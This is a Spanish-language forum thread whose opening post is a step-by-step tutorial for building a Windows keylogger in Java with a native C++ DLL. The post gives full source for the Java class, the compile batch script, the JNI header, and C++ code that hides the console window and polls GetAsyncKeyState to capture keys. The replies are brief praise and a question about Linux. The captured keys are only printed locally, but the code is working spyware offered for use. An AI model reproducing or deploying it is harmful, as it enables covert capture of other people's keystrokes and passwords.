![]() |
|
|||||||
|
|
|
Share | LinkBack | Herramientas | Desplegado |
|
|
#1 |
|
Junior Member
Fecha de Ingreso: enero-2010
Mensajes: 19
|
aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++(wxdevcpp_7.1_full_setup.exe)
comenzamos primero que nada necesitas los archivos -jni_md.h -jni.h Los cuales incluiran en el directorio "C:\Archivos de programa\Dev-Cpp\include" --------------------------------------------------------- Paso 1: Creacion del .Java --------------------------------------------------------- Importante: No tiene que estar en ningun Package Código:
public class Keylogger extends Thread { //Usaremos un Hilo
public static final int DELAY = 20;
private boolean activated=true;
private char value;
static {
System.loadLibrary("Keylogger"); //Preparamos la Carga de la DLL
}
private native char get(); //Metodo Nativo @Return Tecla precionada
@Override
public synchronized void run(){
while(activated){
try {
value = get(); //Optenemos la Tecla Precionada
System.out.println(value); //La Mostramos en la Salida Estandar
Thread.sleep(DELAY);
} catch (InterruptedException e) {e.printStackTrace();
}
}
}
}
Paso 2: Creacion del Script para la complilacion JNI (Opcional) ---------------------------------------------------------------------------------------- #Name = CompilerJNI.bat Código:
@echo off title Java set/p j= .java : echo. call javac %j%.java call javah -jni %j% pause echo. exit Paso 3: Generando el . Class y la Cabecera .h (JNI) ---------------------------------------------------------------------------- Ejecutamos el CompilerJNI y le pasamos el Archivo .java (Keylogger.java) sin la extension ------------------------------------------------------------------------------ Paso 4: Generando la DLL ------------------------------------------------------------------------------ Abrimos el DEV++ [File--->New---->Project--->DLL] Luego veremos 2 Archivos (dllMain.cpp) y la cabecera .h (dll.h) , remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h en este caso Código:
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class Keylogger */
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
#endif
#undef Keylogger_MIN_PRIORITY
#define Keylogger_MIN_PRIORITY 1L
#undef Keylogger_NORM_PRIORITY
#define Keylogger_NORM_PRIORITY 5L
#undef Keylogger_MAX_PRIORITY
#define Keylogger_MAX_PRIORITY 10L
#undef Keylogger_DELAY
#define Keylogger_DELAY 20L
/*
* Class: Keylogger
* Method: get
* Signature: ()C
*/
JNIEXPORT jchar JNICALL Java_Keylogger_get
(JNIEnv *, jobject);
#ifdef __cplusplus
}
#endif
#endif
Código:
JNIEXPORT jchar JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){}
Código:
#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h> //Jni.h
#include "Keylogger.h" //Incluimos la Cabecera Keylogger.h
JNIEXPORT jchar JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
using namespace std;
bool c = true;
HWND ocultar = FindWindow("ConsoleWindowClass",NULL);
ShowWindow(ocultar,NULL);
while(c){
if (GetAsyncKeyState(VK_SPACE) == -32767){return ' ';}
if (GetAsyncKeyState('A') == -32767){ return 'A';}
if (GetAsyncKeyState('B') == -32767){return 'B';}
if (GetAsyncKeyState('C') == -32767){return 'C';}
if (GetAsyncKeyState('D') == -32767){return 'D';}
if (GetAsyncKeyState('E') == -32767){return 'E';}
if (GetAsyncKeyState('F') == -32767){return 'F';}
if (GetAsyncKeyState('G') == -32767){return 'G';}
if (GetAsyncKeyState('H') == -32767){return 'H';}
if (GetAsyncKeyState('I') == -32767){return 'I';}
if (GetAsyncKeyState('J') == -32767){return 'J';}
if (GetAsyncKeyState('K') == -32767){return 'K';}
if (GetAsyncKeyState('L') == -32767){return 'L';}
if (GetAsyncKeyState('M') == -32767){return 'M';}
if (GetAsyncKeyState('N') == -32767){return 'N';}
if (GetAsyncKeyState(VK_CAPITAL) == -32767){return '¿';}
if (GetAsyncKeyState(VK_BACK) == -32767){return '_';}
if (GetAsyncKeyState('O') == -32767){return 'O';}
if (GetAsyncKeyState('P') == -32767){return 'P';
}if (GetAsyncKeyState('Q') == -32767){return 'Q';}
if (GetAsyncKeyState('R') == -32767){return 'R';}
if (GetAsyncKeyState('S') == -32767){return 'S';}
if (GetAsyncKeyState('T') == -32767){return 'T';}
if (GetAsyncKeyState('U') == -32767){return 'U';}
if (GetAsyncKeyState('V') == -32767){return 'V';}
if (GetAsyncKeyState('W') == -32767){return 'W';}
if (GetAsyncKeyState('X') == -32767){return 'X';}
if (GetAsyncKeyState('Y') == -32767){return 'Y';}
if (GetAsyncKeyState('Z') == -32767){return 'Z';}
if (GetAsyncKeyState(VK_CAPITAL) == -32767){return '€';}
if (GetAsyncKeyState(VK_RETURN) == -32767){return '?';}
if (GetAsyncKeyState('1') == -32767){return '1';}
if (GetAsyncKeyState('2') == -32767){return '2';}
if (GetAsyncKeyState('3') == -32767){return '3';}
if (GetAsyncKeyState('4') == -32767){return '4';}
if (GetAsyncKeyState('5') == -32767){return '5';}
if (GetAsyncKeyState('6') == -32767){return '6';}
if (GetAsyncKeyState('7') == -32767){return '7';}
if (GetAsyncKeyState('8') == -32767){return '8';}
if (GetAsyncKeyState('9') == -32767){return '9';}
if (GetAsyncKeyState('0') == -32767){return '0';}
if (GetAsyncKeyState(VK_LSHIFT) == -32767){return '*';}
if (GetAsyncKeyState(VK_MENU) == -32767){return 'ç';}
if (GetAsyncKeyState('%') == -32767){ return '%';}
if (GetAsyncKeyState('-') == -32767){
return '-';}
if (GetAsyncKeyState(VK_F8) == -32767){ShowWindow(ocultar,1);
c = false;
break;
}
Sleep(30);
}
}
Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger. coloboracion con :LEYER Fuente: proyect991.net Última edición por Fashion; 31-ene-2010 a las 12:36 |
|
|
|
|
|
#2 |
|
Cuban4Ever
Fecha de Ingreso: agosto-2009
Mensajes: 2.658
|
Quien lo hizo ?
Està interesante
|
|
|
|
|
|
#3 | |
|
Junior Member
Fecha de Ingreso: enero-2010
Mensajes: 19
|
Cita:
|
|
|
|
|
|
|
#4 |
|
Cuban4Ever
Fecha de Ingreso: agosto-2009
Mensajes: 2.658
|
Felicidades *palmas
Ahora mismo me lo miro .. |
|
|
|
|
|
#5 |
|
Member
Fecha de Ingreso: noviembre-2009
Mensajes: 84
|
Funciona en linux o en windows ^_^
|
|
|
|
![]() |
| Herramientas | |
| Desplegado | |
|
|